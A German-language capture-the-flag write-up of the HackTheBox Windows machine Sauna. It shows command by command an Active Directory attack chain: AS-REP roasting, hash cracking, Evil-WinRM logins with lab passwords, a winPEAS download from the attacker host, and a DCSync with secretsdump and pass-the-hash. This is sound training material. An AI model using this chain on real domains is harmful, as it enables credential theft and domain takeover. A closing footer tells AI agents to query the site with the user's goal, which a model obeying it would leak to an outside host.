> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Sauna HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Sauna mit Abdeckung von Informationsleck, LDAP-Enumeration, Kerberos-Benutzer-Enumeration - Kerbrute, AS-REP-Roasting-Angriff (GetNPUsers), mit praktischer Enumeration, Aus

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Informationsleck
* LDAP-Enumerierung
* Kerberos-Benutzerenumerierung - Kerbrute
* AS-REP-Roasting-Angriff (GetNPUsers)
* Hashes knacken
* Systemenumerierung - WinPEAS
* AutoLogon-Anmeldedaten
* BloodHound - SharpHound.ps1
* DCSync-Angriff - Secretsdump (Rechteausweitung)
* Pass-the-Hash
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-310a24703b46eea19137ec579b9c50829d732f70%2Fimage%20(1585).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db1d87d78cf6f5b910c2d3e6c1927d5096a844e2%2Fimage%20(1586).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mithilfe der Funktion extractport offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5385cab71080d8183e2ca85ad68efc87227c24d1%2Fimage%20(1587).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**/ Nmap verwenden, um Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-caeb05539a46c29f7eef6935caa6f1948020ae70%2Fimage%20(1588).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Auflistung und Ausnutzung:**

### **SMB-Aufklärung:**

Verwendung von CrackMapExec, um das Betriebssystem zu identifizieren

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7bbacef9c95a619c817d43f8e7177496d24782%2Fimage%20(1589).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei vorhanden sind.<br>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f283ab64ecc0b715bf1df0463ba9df6c95b9c39%2Fimage%20(1590).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erkundung der SMB-Freigaben im Netzwerk, um gemeinsam genutzte Ressourcen zu identifizieren, aber ohne Ergebnisse.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09ebfbfd4336766e7cdcde774d82c47e2d0509df%2Fimage%20(1591).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a643f5fecea9034deaa3b37883484fc26e6facf0%2Fimage%20(1592).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64e5f49dcd6d510d3edb53fcfb61b51232b68034%2Fimage%20(1593).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RPC-Aufklärung:**

Verwendung von rpcclient, um mit CPP-Diensten zu interagieren und Ressourceninformationen zu sammeln

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a304257295082b83ac567af1f37a65a4184332c%2Fimage%20(1594).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP-Aufklärung:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### Analyse von LDAP-Informationen für Details zur Domänenstruktur und zu Benutzern.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7693fc0d7faa3efcfec825d3530ac90ba336e39d%2Fimage%20(1595).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse der LDAP-Informationen**

Analyse von Details zur Struktur der Domäne und der Benutzer.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**LDAP-Benutzerfilterung**

Filter, um nur LDAP-Benutzer zu erhalten.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5fbff793904922b072c824e04af25214a0ea04%2Fimage%20(1596).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Benutzerliste:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fea84d7fa4e497af6c17da5d5571c444b6726ceb%2Fimage%20(1597).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erstellen Sie eine `users.txt` Datei mit potenziellen Benutzernamen.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **Benutzerliste über Kerberos**

Verwendung von `kerbrute` um gültige Benutzer aufzulisten.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28b3ee1bb1aedfe94570b3145a047ad2d5c5fcee%2Fimage%20(1600).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Benutzerliste über Impacket**

Verwendung von `impacket-GetNPUsers` um gültige Benutzer ohne Passwörter aufzulisten.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f30648a83eaf6b67bf4f6a5bd5e947b5f820157%2Fimage%20(1601).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute-Force-Angriff:

Verwendung von John, um den wiederhergestellten Hash zu knacken.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e0bdfc9350f7267488c07b3ebddcfc70fdeabc%2Fimage%20(1602).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Verbindung und Fernsteuerung

WinRM für eine Remoteverbindung verwenden.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### Es funktioniert, aber ohne die pwned-Markierung ist keine Verbindung über WinRM möglich.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43869dc4b550554dc082e3edff74208c89c4a8%2Fimage%20(1603).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe2cb3a05e5f3688972f66e9e46060cc1299334c%2Fimage%20(1604).png?alt=media" alt=""><figcaption></figcaption></figure>

In diesem Beispiel ist die Verbindung möglich, da der Benutzer fsmith Mitglied der /\*Remote Management Users-Gruppe ist

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2abacec7464bd812b568c9c74daa81a1b9b9aa8d%2Fimage%20(1605).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### **Anmeldung mit Evil-WinRM**

Verwendung von Evil-WinRM für eine interaktive Verbindung über WinRM.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a99226db41358e32312403121b1f233df07adc6%2Fimage%20(1584).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

#### **Überprüfung besonderer Privilegien:**

Verwendung von `whoami /priv` um besondere Privilegien zu prüfen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93fa67ecb09f31aefe548796ebd5f70c950e225%2Fimage%20(2108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Nach neuen Benutzern suchen**

Verwendung von `net user` um nach neuen Benutzern zu suchen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af7db18c8fd5c8a9417e1178ffa85b24f46a237a%2Fimage%20(2109).png?alt=media" alt=""><figcaption></figcaption></figure>

**Suche nach Anmeldedaten für den Benutzer "svc/ loanmgr"**

### **Erkennung mit** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

winPEAS-Erkennungstool herunterladen und ausführen

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31684b5c7d6126575256e88098446cbee50ecaa%2Fimage%20(2110).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f39baccc22d7c19e2ad6b99f36f9638d18ba3d%2Fimage%20(2111).png?alt=media" alt=""><figcaption></figcaption></figure>

### Validierung der mit crackmapexec gefundenen Anmeldedaten:

Automatische Anmeldedaten für den Benutzer `svc_loanmgr` wurden gefunden, mit dem Passwort

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09b16aa8e0252842a0203b3b515dc47dca938576%2Fimage%20(2112).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Verwendung von crackmapexec, um zu validieren, dass das Passwort korrekt ist.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cac348f64f34f7147d36dbb979684300e4d7bec%2Fimage%20(2115).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Verbindung mit den Anmeldedaten von "svc/ loanmgr":

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30d432b3473443338c1fd041b985b3308ee079bb%2Fimage%20(2116).png?alt=media" alt=""><figcaption></figcaption></figure>

## Domänenliste mit BloodHound:

<details>

<summary>BloodHound-Installation:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### Verbindung zu BloodHound mit den Anmeldedaten neo4j:neo4j.

<img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef9463a37fbf4c95e7d8c5b54b5719e9a0212f79%2Fimage%20(2117).png?alt=media" alt="" data-size="original">

#### BloodHound starten.

```bash
bloodhound &> /dev/null & disown
```

<img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbcd2ee0951015419e37b8c5659c57d4a2f16c7%2Fimage%20(2118).png?alt=media" alt="" data-size="original">

</details>

### Informationen mit SharpHound.ps1 sammeln

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e070f9cde080c37805c4e3ce02ee3d5246ef8432%2Fimage%20(2119).png?alt=media" alt=""><figcaption></figcaption></figure>

### Übertragung der gesammelten Daten nach Linux und Import in BloodHound

#### Eine ZIP-Datei mit den Ergebnissen der Sammlung erstellen.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### Die ZIP-Datei vom Windows-Rechner nach Linux herunterladen.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### ZIP-Datei in BloodHound importieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10d80ac4c967e7330846a819406ba948417a1b6a%2Fimage%20(1578).png?alt=media" alt=""><figcaption></figcaption></figure>

### Analyse und Vorgehen:

#### Nach dem kürzesten Pfad zur Administration filtern

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c5100e71e29b06f16fe8170302cd0f2cebed1f2%2Fimage%20(1579).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Das Tool zeigt die Möglichkeit an, einen DCSync-Angriff durchzuführen.

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd7c25059eb82aaade3a7b64307dcdbed29905f%2Fimage%20(1580).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## DCSync-Angriff als Schwachstelle:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### Secretsdump verwenden, um den NT-Hash des Administratorkontos zu erhalten.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9de39224ffb84c9fb82d84c0a91084614855a467%2Fimage%20(1581).png?alt=media" alt=""><figcaption></figcaption></figure>

#### psexec verwenden, um mit dem NT-Hash eine cmd.exe als Administrator auszuführen.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68e562b1ff81b0ea81b369443b63ff2bfa135317%2Fimage%20(1582).png?alt=media" alt=""><figcaption></figcaption></figure>

### Endgültige Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a5d344ceda16942038635f9a7c21f5cc9e8982f%2Fimage%20(1583).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86552d857db97a01a4afebe8a7ad592783983032%2Fimage%20(1412).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
